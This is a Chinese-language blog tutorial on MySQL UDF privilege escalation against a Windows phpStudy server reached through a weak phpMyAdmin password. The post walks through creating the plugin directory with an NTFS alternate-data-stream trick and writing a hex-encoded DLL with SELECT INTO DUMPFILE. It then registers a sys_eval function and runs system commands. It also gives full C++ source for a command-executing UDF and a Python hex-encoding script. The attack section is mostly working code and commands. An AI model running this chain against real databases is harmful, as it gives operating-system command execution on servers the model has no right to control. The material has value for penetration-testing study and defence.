Mysql-Attack-UDF

Mysql-Attack-UDF

目录

前言

最近不知道为啥,整很多东西都开始往细节去研究。趁这个五一假期吧UDF提权的整个流程都给研究透先。而不是仅仅限于怎么操作就算了(感觉像一个毫无感情的测试机器)。
本文主要是在参考了其他资料做的总结。因为很多前辈已经有现成的成果了。

环境

服务器:windows server 2008
web环境:phpStudy(php7,mysql5.5,apache2)
web应用:phpmyadmin

UDF相关知识介绍

收集了一波文章和论坛的资料,这里就不做详细文字介绍,简单几句话明了概括一下
来源于先知文章的一句话:

UDF是Mysql提供给用户实现自己功能的一个接口,为了使UDF机制起作用,函数必须用C或C ++编写,并且操作系统必须支持动态加载。

简单理解,mysql可以自定义函数(功能接口),而且该自定义的函数(功能接口)的具体实现方法可以写到DLL中,让mysql动态加载DLL即可。
就是说,我们只要编写动态连接库(DLL)让Mysql加载即可。

UDF利用

正常情况下我们遇到phpmyadmin弱口令,可执行任意SQL语句。

当然这个情况下我们通常有很多种方法进行getshell,后面其他篇章介绍。这里主要讲UDF

查看路径

查看mysql安装目录路径

select @@base_dir;


查看mysql插件目录路径

mysql插件目录可能有不存在的情况

通过adfs流的方式创建文件夹,虽然报错,但已经成功创建了

select ‘test‘ into dumpfile ‘C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION‘;



继续通过这个方式创建lib下的plugin目录

select ‘test‘ into dumpfile ‘C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION‘;

写入插件目录

创建完成目录之后,将文件写入目标服务器的mysql插件目录中

因为我们现在只能操作sql语句,不支持直接上传文件因此有两种操作

  • 通过loadfile加载,可用于本地加载或者网络加载
  • 通过十六进制写入

本文主要介绍十六进制的方式直接写入文件

SELECT 十六进制字符串INTO DUMPFILE "C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll"

在写入之前可以使用以下代码对dll文件进行转码转hex

import binasciidef main(): file_handle = open("mysql_udf_c++.dll").read() print binascii.b2a_hex(file_handle)if __name__ == "__main__": main()

已写入目录中

导入函数(注意导入函数名需要与dll中的函数名对应,这个后面展开讲细节)

CREATE FUNCTION sys_eval RETURNS STRING SONAME "udf.dll"

命令执行成功

select sys_eval(‘whoami‘)

期间踩了不少坑。后面细节展开的时候讲。

一些细节相关

操作系统和mysql版本

mysql < 4.1
所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。(从一个博客上面复制下来的一句话)
4.1 <= mysql < 5.0
特定函数接口才可以调用
5.0 <= mysql <5.1
增加DLL位置限制
5.1 <= mysql
只能在plugin目录下且。

dll源码分析以及编译

可以直接使用现有的dll,也可以使用项目进行编译

https://xz.aliyun.com/t/2365

这片文章把源码贴出来了,使用visual studio code打开源码进行编译,有几处需要配置
(1)打开项目的.sln进行加载时若项目需要更新,则点击确定即可
(2)替换源码成可以自己想要的,我这边直接复制了他可以执行命令那部分的源码

#include <winsock.h>#include <mysql.h> #ifndef UNICODE#define UNICODE#endif#pragma comment(lib, "netapi32.lib")#include <stdio.h>#include <windows.h> #include <lm.h>//--------extern "C" __declspec(dllexport)my_bool sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message){ //参数长度 unsigned int i = 0; if (args->arg_count == 1 && args->arg_type[i] == STRING_RESULT) { return 0; } else { strcpy( message , "Expected exactly one string type parameter" ); return 1; }}extern "C" __declspec(dllexport)char* sys_eval(UDF_INIT *initid , UDF_ARGS *args , char* result , unsigned long* length , char *is_null , char *error){ FILE *pipe; char buff[1024]; unsigned long outlen, linelen; // 开辟内存 result = (char*)malloc(sizeof(char)); outlen = 0; // 创建管道 pipe = _popen(args->args[0], "r"); // 读取管道数据 while (fgets(buff, sizeof(buff), pipe) != NULL) { linelen = strlen(buff); result = (char*)realloc(result, outlen + linelen); // 把管道内容拷贝进返回结果里 strncpy(result + outlen, buff, linelen); outlen = outlen + linelen; } // 关闭管道 _pclose(pipe); // 当*is_null被设置为1时,返回值为NULL if (!(*result) || result == NULL) { *is_null = 1; } else { result[outlen] = 0x00; *length = strlen(result); } // 返回结果 return result;}extern "C" __declspec(dllexport)void sys_eval_deinit( UDF_INIT *initid){ if (initid->ptr) { free(initid->ptr); }}

(2)修改版本

(3)项目属性设置

导入源码之后肯定会缺mysql.h和libmysql.lib
mysql.h下载地址
https://downloads.mysql.com/archives/c-c/
Mysql-Attack-UDF
设置附加包含目录指向mysql-connector-c-6.1.11-winx64\include

libmysql.lib确实要在链接器中加载

dll转hex

import binasciidef main(): file_handle = open("mysql_udf_c++.dll","rb").read() #print len(file_handle) print binascii.b2a_hex(file_handle)if __name__ == "__main__": main()

加载DLL

加载的时候可能会出现各种各样的报错,包括操作系统版本等等
在github上面看到了各个报错的情况的分析

https://github.com/mysqludf/lib_mysqludf_str/blob/master/README.win_x86.txt

引用

(本文参考了多个blog,可能出现贴漏的情况)
https://downloads.mysql.com/archives/c-c/
https://xz.aliyun.com/t/2719
https://shinpachi8.github.io/2017/09/03/mysql-udf-exploit-复现小记/
https://xz.aliyun.com/t/2365
https://xz.aliyun.com/t/2167
https://www.cnblogs.com/-mo-/p/11678990.html
https://paper.404sec.com/7815.html

相关文章